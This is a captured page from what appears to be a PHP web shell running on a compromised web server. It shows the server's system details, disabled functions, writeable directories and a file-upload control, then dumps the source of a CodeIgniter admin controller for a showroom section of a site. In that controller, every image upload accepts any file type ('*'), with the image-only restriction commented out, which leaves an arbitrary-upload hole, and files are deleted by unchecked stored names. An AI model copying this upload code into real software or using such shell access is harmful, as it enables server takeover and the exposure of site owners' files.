https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/serbaantik.com/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/serbaantik.com/public_html/application/controllers/admin/Showroom.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Showroom extends Admin_Controller 
{
		//this property is used for validating existing showroom title on call back edit showroom
		private $showroom_current_id = NULL; 
		private $image1_filename = NULL; 
		private $image2_filename = NULL; 

		//this property is to mark whether we are uploading image in the index page
		private $imageupload_indexpage = FALSE; 
			
		function __construct() 
		{ 
				parent::__construct();	

				if (!in_array('showroom', $this->allowed_sections)) redirect('admin/dashboard'); 
				
				$this->load->model('showroom_m');
				$this->load->helper('form'); 
		}
			
		//this is to list all showroom 
		public function index() 
		{
				if (isset($_POST['submit'])) 
				{
						$this->imageupload_indexpage = TRUE;

						//check & processing image banner upload files	
						if ($_FILES['userfile']['size'] !== 0) 
						{  
								$config['upload_path'] = './uploads/showroom/'; 
								$config['allowed_types'] = '*';  
								// $config['allowed_types'] = 'jpg|png|jpeg|webp'; 
								$config['max_size']	= '800';
								
								$this->load->library('upload', $config);  

								if ( ! $this->upload->do_upload()) 
								{
										//echo $this->upload->display_errors(); die();
											
										$this->session->set_flashdata('banner_error', '<br>
											<p style="background:orange; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');

										if ($this->showroom_current_id != NULL) 
										{
												redirect('admin/showroom/edit/' . $this->showroom_current_id);
										} 
										elseif($this->showroom_current_id == NULL && $this->imageupload_indexpage == FALSE) 
										{
												redirect('admin/showroom/add');
										} 
										elseif($this->showroom_current_id == NULL && $this->imageupload_indexpage == TRUE) 
										{
												redirect('admin/showroom');
										}
								
								} else 
								{
										$image = $this->upload->data();
										$image_filename = $image['file_name']; 	 
								}	
						}

						//store image information to configuration table
						$data = array(
								'showroom_landingpage_description'	=> $this->input->post('description'),
						);

						//image upload
						if (isset($image_filename)) 
						{
								$data['showroom_landingpage_image'] = $image_filename; 
						} 

						$this->db->where('id_configuration', 1);
						$this->db->update('configuration', $data); 

						$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">showroom Landing Page Edit Successful</p>');
				}

				//get landingpage banner image, description and link
				$this->db->select('showroom_landingpage_description, showroom_landingpage_image')->from('configuration')->where('id_configuration', 1);
				$this->data['showroom_landingpage'] = $this->db->get()->row();
				
				//pagination in action. 100 results per page 
				$this->load->library('pagination');
				$config['base_url'] = base_url() . 'admin/showroom/index';
				$config['total_rows'] = $this->showroom_m->record_count(); 
				$config['per_page'] = 100;
				$config["uri_segment"] = 4;
				$config['num_tag_open'] = '<span style="padding-left:10px; padding-right:10px">';
				$config['num_tag_close'] = '</span>';

				$this->pagination->initialize($config);
				$this->data['showroom'] = $this->showroom_m->get_all_showroom($config["per_page"], 
				$this->uri->segment(4));   

				//load view
				$this->data['subview'] = 'admin/showroom/index';
				$this->load->view('admin/templates/header', $this->data_header); 
				$this->load->view('admin/_layout_main', $this->data);
				$this->load->view('admin/templates/footer');	
		}
		
		//to add a new showroom 
		public function add() 
		{
				$this->data['showroom'] = $this->showroom_m->get_new();	

				//get ordering number and display at add form
				$this->db->select_max('priority')->from('showroom'); 

				$current_priority = $this->db->get()->row()->priority;

				if($current_priority == NULL) 
				{
						$this->data['showroom']->priority = 1;	
				} 
				else 
				{
						$this->data['showroom']->priority = $current_priority + 1;
				} 
				
				//validation check in action 
				$config = $this->showroom_m->rules; 

				$this->load->library('form_validation');
				$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled

				$this->form_validation->set_rules($config); 

				if($this->form_validation->run($this) == TRUE) 
				{
						//check & processing IMAGE INTRO
						if ($_FILES['image1']['size'] !== 0) 
						{ 	
								$config = array();
								$config['upload_path'] = './uploads/showroom/';  
								$config['allowed_types'] = '*';  
								// $config['allowed_types'] = 'jpg|png|jpeg|webp'; 
								$config['max_size']	= '800'; 

								$this->load->library('upload', $config);   
								$this->upload->initialize($config); 

								if ( ! $this->upload->do_upload('image1')) 
								{
										// return the error message and kill the script
										echo $this->upload->display_errors(); 

										$this->session->set_flashdata('image1-error', '<br>
										<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
										redirect('admin/showroom/add');
								} 
								else 
								{
										$image1 = $this->upload->data();
										$this->image1_filename = $image1['file_name']; 	
								} 
						}

						//check & processing IMAGE INTRO
						if ($_FILES['image2']['size'] !== 0) 
						{ 	
								$config = array();
								$config['upload_path'] = './uploads/showroom/';  
								$config['allowed_types'] = '*';  
								// $config['allowed_types'] = 'jpg|png|jpeg|webp'; 
								$config['max_size']	= '800'; 

								$this->load->library('upload', $config);   
								$this->upload->initialize($config); 

								if ( ! $this->upload->do_upload('image2')) 
								{
										// return the error message and kill the script
										echo $this->upload->display_errors(); 

										$this->session->set_flashdata('image2-error', '<br>
										<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
										redirect('admin/showroom/add');
								} 
								else 
								{
										$image2 = $this->upload->data();
										$this->image2_filename = $image2['file_name']; 	
								} 
						}

						$data = $this->table_data_processing($this->input->post('showroom_name'), $this->input->post('status'), $this->input->post('description'), $this->image1_filename, $this->image2_filename);
					
						$this->showroom_m->add_showroom($data);

						$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">showroom Add Successful</p>');

						redirect('admin/showroom');
				} 
				
				$this->data['subview'] = 'admin/showroom/edit';
				$this->load->view('admin/templates/header', $this->data_header); 
				$this->load->view('admin/_layout_main', $this->data);
				$this->load->view('admin/templates/footer');	
		}
		
		//to edit showroom in admin
		public function edit($id = NULL) 
		{
				if ($id == NULL) { show_404(); }

				//check if id exist. If not exist, show 404.
				$count = $this->showroom_m->count_exist($id);
				
				if ($count == 0) 
				{ 
						//page not exist
						show_404();
				}		

				$this->data['showroom'] = $this->showroom_m->get($id);	

				$this->showroom_current_id = (int) $id;

				//validation check in action
				$config = $this->showroom_m->rules;

				$this->load->library('form_validation');
				$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled

				$this->form_validation->set_rules($config); 

				if($this->form_validation->run($this) == TRUE) 
				{

						//check & processing IMAGE INTRO
						if ($_FILES['image1']['size'] !== 0) 
						{ 	
								$config['upload_path'] = './uploads/showroom/'; 
								$config['allowed_types'] = '*';  
								// $config['allowed_types'] = 'jpg|png|jpeg|webp'; 
								$config['max_size']	= '500'; 

								$this->load->library('upload', $config); 

								if ( ! $this->upload->do_upload('image1')) 
								{
										// return the error message and kill the script
										echo $this->upload->display_errors(); 

										$this->session->set_flashdata('image1-error', '<br>
											<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
										redirect('admin/showroom/add');
								} 
								else 
								{
										$image1 = $this->upload->data();
										$this->image1_filename = $image1['file_name']; 
								} 
						}

						//check & processing IMAGE INTRO
						if ($_FILES['image2']['size'] !== 0) 
						{ 	
								$config['upload_path'] = './uploads/showroom/'; 
								$config['allowed_types'] = '*';  
								// $config['allowed_types'] = 'jpg|png|jpeg|webp'; 
								$config['max_size']	= '800'; 

								$this->load->library('upload', $config); 

								if ( ! $this->upload->do_upload('image2')) 
								{
										// return the error message and kill the script
										echo $this->upload->display_errors(); 

										$this->session->set_flashdata('image2-error', '<br>
											<p style="background:red; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
										redirect('admin/showroom/add');
								} 
								else 
								{
										$image2 = $this->upload->data();
										$this->image2_filename = $image2['file_name']; 
								} 
						}

						$data = $this->table_data_processing($this->input->post('showroom_name'), $this->input->post('status'), $this->input->post('description'), $this->image1_filename, $this->image2_filename);

						$this->showroom_m->edit_showroom($id, $data); 

						$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">showroom Edit Successful</p>');
						
						redirect('admin/showroom/edit/' .  $id);
				} 
				
				$this->data['subview'] = 'admin/showroom/edit';
				$this->load->view('admin/templates/header', $this->data_header); 
				$this->load->view('admin/_layout_main', $this->data);
				$this->load->view('admin/templates/footer');	
		}
		

		//to delete a showroom
		public function delete($id) 
		{
				//check if id exist. If not exist, show 404.
				$count = $this->showroom_m->count_exist($id);
				
				if ($count == 0) 
				{ //page not exist
						show_404();
				}		

				//delete image from server
				//check if there is an existing image
				$this->db->select('image1')->from('showroom')->where('id_showroom', (int) $id);
				$image = $this->db->get()->row();
				
				if ($image->image1 != '') 
				{
						//Delete the actual image file from server. FCPATH is codeigniter base path
						unlink(FCPATH .'/uploads/showroom/'. $image->image1);
				} 

				//delete showroom
				$this->showroom_m->delete($id); 

				$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">showroom Delete Successful</p>');
				redirect('admin/showroom');
		} 

		private function table_data_processing($showroom_name, $status, $description, $image1_filename, $image2_filename) 
		{
				$data = array(
					'showroom' 	=> $this->security->xss_clean($showroom_name),
					'status' 		=> $status,
					'description' 	=> $description, 
					'priority'	=> $this->input->post('priority'),
					'map'	=> $this->input->post('map')
				);

				//image upload
				if (isset($image1_filename))  
				{
						$data['image1'] = $image1_filename; 
				} 

				//image upload
				if (isset($image2_filename))  
				{
						$data['image2'] = $image2_filename; 
				} 

				return $data;
		}

		//callback function validation add new showroom
		//make it private by adding _
		public function _cek_existing_showroom_title($str) 
		{
				$num_rows = $this->showroom_m->cek_existing_showroom_title($str, $this->showroom_current_id);  

				if ($num_rows != 0 ) 
				{  
						$this->form_validation->set_message('_cek_existing_showroom_title', 'showroom name already exist !');
						return FALSE; 
				} else {
						return TRUE;   
				}
		}

		//To delete showroom landingpage banner image file from server, and from database
		public function delete_landingpage_image() 
		{ 
				//get image file name for deletion
				$this->db->select('showroom_landingpage_image')->from('configuration')->where('id_configuration', 1);
				$image = $this->db->get()->row()->showroom_landingpage_image;

				//Delete the actual image file from server. FCPATH is codeigniter base path
				unlink(FCPATH .'/uploads/showroom/'. $image);

				//Delete image field from database
				$data = array( 
					'showroom_landingpage_image' => '',
				);

				$this->db->where('id_configuration', 1);
				$this->db->update('configuration', $data);	

				$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image Delete Successful</p>');
				
				redirect('admin/showroom'); 
		}

		//To delete showroom image file from server, and from database
		public function delete_image($id = NULL, $image_type = NULL) 
		{ 
				$count = $this->showroom_m->count_exist($id);

				if ($id == NULL || $count == 0) {	redirect('admin/showroom'); }

				if ($image_type == NULL) {redirect('admin/showroom'); }

				//get image file name for deletion
				$this->db->select('image1')->from('showroom')->where('id_showroom', (int) $id);
				$image = $this->db->get()->row();

				if($image_type == 'image1') 
				{
						//Delete the actual image file from server. FCPATH is codeigniter base path
						unlink(FCPATH .'/uploads/showroom/'. $image->image1);

						//Delete image field from database
						$data = array( 
							'image1' => '',
						);
				} 

				if($image_type == 'image2') 
				{
						//Delete the actual image file from server. FCPATH is codeigniter base path
						unlink(FCPATH .'/uploads/showroom/'. $image->image2);

						//Delete image field from database
						$data = array( 
							'image2' => '',
						);
				} 

				$this->db->where('id_showroom', (int) $id);
				$this->db->update('showroom', $data);	

				$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image Delete Successful</p>');
				
				redirect('admin/showroom/edit/' . $id); 
		}
} 

https://t.me/RX1948 - 2025